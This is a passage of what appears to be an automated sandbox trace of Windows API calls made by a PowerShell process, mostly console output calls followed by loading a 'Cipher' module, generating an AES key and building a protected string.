lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0135.285] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0135.285] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.286] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.286] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.289] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0135.290] GetConsoleOutputCP () returned 0x1b5 [0135.290] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0135.290] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0135.290] GetConsoleOutputCP () returned 0x1b5 [0135.291] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0135.291] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.291] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b74bc*, nNumberOfCharsToWrite=0x61, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x69b74bc*, lpNumberOfCharsWritten=0x99ae3a4*=0x61) returned 1 [0135.291] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.292] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0135.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0135.295] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0135.295] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0135.298] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.298] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.299] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.302] GetConsoleOutputCP () returned 0x1b5 [0135.303] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.303] GetConsoleOutputCP () returned 0x1b5 [0135.303] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.303] GetConsoleOutputCP () returned 0x1b5 [0135.304] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.304] GetConsoleOutputCP () returned 0x1b5 [0135.304] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.304] GetConsoleOutputCP () returned 0x1b5 [0135.306] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.306] GetConsoleOutputCP () returned 0x1b5 [0135.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.307] GetConsoleOutputCP () returned 0x1b5 [0135.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.307] GetConsoleOutputCP () returned 0x1b5 [0135.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.307] GetConsoleOutputCP () returned 0x1b5 [0135.308] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.308] GetConsoleOutputCP () returned 0x1b5 [0135.308] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.308] GetConsoleOutputCP () returned 0x1b5 [0135.309] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.309] GetConsoleOutputCP () returned 0x1b5 [0135.309] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.309] GetConsoleOutputCP () returned 0x1b5 [0135.309] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.309] GetConsoleOutputCP () returned 0x1b5 [0135.310] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.310] GetConsoleOutputCP () returned 0x1b5 [0135.310] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.310] GetConsoleOutputCP () returned 0x1b5 [0135.310] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.310] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.311] GetConsoleOutputCP () returned 0x1b5 [0135.311] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.311] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.311] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b841c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x69b841c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.312] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.312] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.316] GetConsoleOutputCP () returned 0x1b5 [0135.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.316] GetConsoleOutputCP () returned 0x1b5 [0135.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.317] GetConsoleOutputCP () returned 0x1b5 [0135.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.317] GetConsoleOutputCP () returned 0x1b5 [0135.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.317] GetConsoleOutputCP () returned 0x1b5 [0135.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.318] GetConsoleOutputCP () returned 0x1b5 [0135.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.318] GetConsoleOutputCP () returned 0x1b5 [0135.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.319] GetConsoleOutputCP () returned 0x1b5 [0135.319] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.319] GetConsoleOutputCP () returned 0x1b5 [0135.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.320] GetConsoleOutputCP () returned 0x1b5 [0135.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.320] GetConsoleOutputCP () returned 0x1b5 [0135.320] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.320] GetConsoleOutputCP () returned 0x1b5 [0135.321] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.321] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.321] GetConsoleOutputCP () returned 0x1b5 [0135.322] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.322] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.322] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b8e74*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x69b8e74*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.322] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.323] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.330] GetConsoleOutputCP () returned 0x1b5 [0135.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.330] GetConsoleOutputCP () returned 0x1b5 [0135.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.330] GetConsoleOutputCP () returned 0x1b5 [0135.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.331] GetConsoleOutputCP () returned 0x1b5 [0135.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.331] GetConsoleOutputCP () returned 0x1b5 [0135.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.332] GetConsoleOutputCP () returned 0x1b5 [0135.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.332] GetConsoleOutputCP () returned 0x1b5 [0135.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.333] GetConsoleOutputCP () returned 0x1b5 [0135.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.333] GetConsoleOutputCP () returned 0x1b5 [0135.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.334] GetConsoleOutputCP () returned 0x1b5 [0135.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.335] GetConsoleOutputCP () returned 0x1b5 [0135.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.335] GetConsoleOutputCP () returned 0x1b5 [0135.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.336] GetConsoleOutputCP () returned 0x1b5 [0135.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.336] GetConsoleOutputCP () returned 0x1b5 [0135.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.336] GetConsoleOutputCP () returned 0x1b5 [0135.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.337] GetConsoleOutputCP () returned 0x1b5 [0135.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.337] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.338] GetConsoleOutputCP () returned 0x1b5 [0135.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.338] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.339] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69bac90*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69bac90*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.339] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.340] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.344] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.344] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.344] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.344] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.345] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.346] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.346] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.346] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.346] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.347] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0135.347] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e850f8) returned 1 [0135.347] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.347] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.347] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69c4860, pdwDataLen=0x99ae894 | out: pbData=0x69c4860*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.347] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.347] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.347] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.348] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.348] SysStringLen (param_1="") returned 0x8 [0135.348] SysStringLen (param_1="T") returned 0x8 [0135.348] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.348] SysStringLen (param_1="\x15b3\xe7b0\xb2d2\x737d\x634c\x72ee\x3ab0\x9687") returned 0x8 [0135.348] SysStringLen (param_1="\x15b3\xe7b0\xb2d2\x737d\x634c\x72ee\x3ab0\x9687") returned 0x8 [0135.348] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.348] SysStringLen (param_1="Ts") returned 0x8 [0135.348] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.348] SysStringLen (param_1="\xb87d\xd3ab\x61a1\x8f3b\x55ed\xb030\x5092\x6214") returned 0x8 [0135.348] SysStringLen (param_1="\xb87d\xd3ab\x61a1\x8f3b\x55ed\xb030\x5092\x6214") returned 0x8 [0135.348] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="Tsi") returned 0x8 [0135.349] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="\xd2f7\xa845\x924c\x1a5a\x60d6\x3525\x5d8a\xbd79") returned 0x8 [0135.349] SysStringLen (param_1="\xd2f7\xa845\x924c\x1a5a\x60d6\x3525\x5d8a\xbd79") returned 0x8 [0135.349] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="Tsi5") returned 0x8 [0135.349] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="\x9dc\x2957\x3807\xae7e\x825e\x2829\x6762\xb2cb") returned 0x8 [0135.349] SysStringLen (param_1="\x9dc\x2957\x3807\xae7e\x825e\x2829\x6762\xb2cb") returned 0x8 [0135.349] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="Tsi5H") returned 0x8 [0135.349] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="\x109d\x2fad\x1d65\x2329\xca0e\xf993\xb515\x8164") returned 0x8 [0135.349] SysStringLen (param_1="\x109d\x2fad\x1d65\x2329\xca0e\xf993\xb515\x8164") returned 0x8 [0135.349] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.349] SysStringLen (param_1="Tsi5H1") returned 0x8 [0135.349] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.350] SysStringLen (param_1="\xd483\xf4dc\xd8ed\x46b7\x886e\x7670\x4e85\x1a98") returned 0x8 [0135.350] SysStringLen (param_1="\xd483\xf4dc\xd8ed\x46b7\x886e\x7670\x4e85\x1a98") returned 0x8 [0135.350] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.350] SysStringLen (param_1="Tsi5H1n") returned 0x8 [0135.350] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.350] SysStringLen (param_1="\xa6df\x6a8e\xce86\x37b4\x6c31\xbe44\x29bc\xe58a") returned 0x8 [0135.350] 